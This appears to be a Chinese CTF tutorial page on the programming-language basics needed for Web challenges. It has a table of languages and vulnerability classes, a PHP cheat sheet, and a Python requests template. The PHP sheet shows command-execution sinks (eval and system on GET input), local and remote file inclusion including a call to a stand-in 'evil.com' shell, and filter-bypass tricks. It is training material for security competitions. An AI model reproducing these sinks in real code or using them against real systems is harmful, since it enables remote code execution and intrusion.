程序语言 — CTF 前置技能
CTF Web 题大多用 PHP 作为后端语言,部分题用 Python/Node.js。了解基本的程序语言语法,才能读得懂题目源码、写得出利用脚本。
本知识库中的编程语言讲解
- Python 黑客脚本基础 — Python 编写 CTF/渗透脚本的完整教程
- Rust 红队脚本编程 — Rust 编写高性能安全工具
CTF 中程序语言相关考点
| 语言 | CTF 中的角色 | 常见题型 |
|---|---|---|
| PHP | Web 后端主力,绝大多数 CTF Web 题用 PHP | 文件包含、代码审计、反序列化 |
| Python | 编写 exploit 脚本、自动化发 payload | 所有题型的脚本工具、SSTI(模板注入) |
| Python | 后端框架(Flask/Django)特有漏洞 | SSTI、debug 模式信息泄露 |
| Node.js (JavaScript) | 后端 JS 环境 | 原型链污染、RCE |
| Java | 逆向、Web 安全 | 反序列化、SSRF |
PHP 基础速查
<?php
// 变量与输出
$name = $_GET['name']; // GET 参数
$pass = $_POST['pass']; // POST 参数
$cookie = $_COOKIE['key']; // Cookie 值
echo "Hello $name"; // 输出
// 常见过滤与绕过
str_replace("flag", "", $input); // 替换过滤 → 双写绕过 flagflagflag
preg_match("/flag/i", $input); // 正则过滤 → 大小写/编码绕过
// 代码执行
eval($_GET['cmd']); // 直接执行 PHP 代码
system($_GET['cmd']); // 执行系统命令
// 文件包含
include($_GET['file']); // 包含任意文件 → LFI
include("http://evil.com/shell"); // 远程包含 → RFI
?>Python 脚本快速模板
import requests
# GET 请求
r = requests.get('http://target.com/', params={'id': '1'})
# POST 请求
r = requests.post('http://target.com/login', data={'user': 'admin', 'pass': '123'})
# 带 Cookie
r = requests.get('http://target.com/flag', cookies={'admin': '1'})
# 带自定义头
r = requests.get('http://target.com/', headers={'User-Agent': 'admin'})
print(r.status_code) # 状态码
print(r.text) # 响应体
print(r.headers) # 响应头关联教程
- HTTP 协议总览 — Web 前置技能中的 HTTP 考点
- Python 黑客脚本基础 — Python 安全脚本完整教程
- Rust 红队脚本编程 — Rust 编写高性能工具
- Web 方向总览 — Web 方向 CTF 题型与思路总览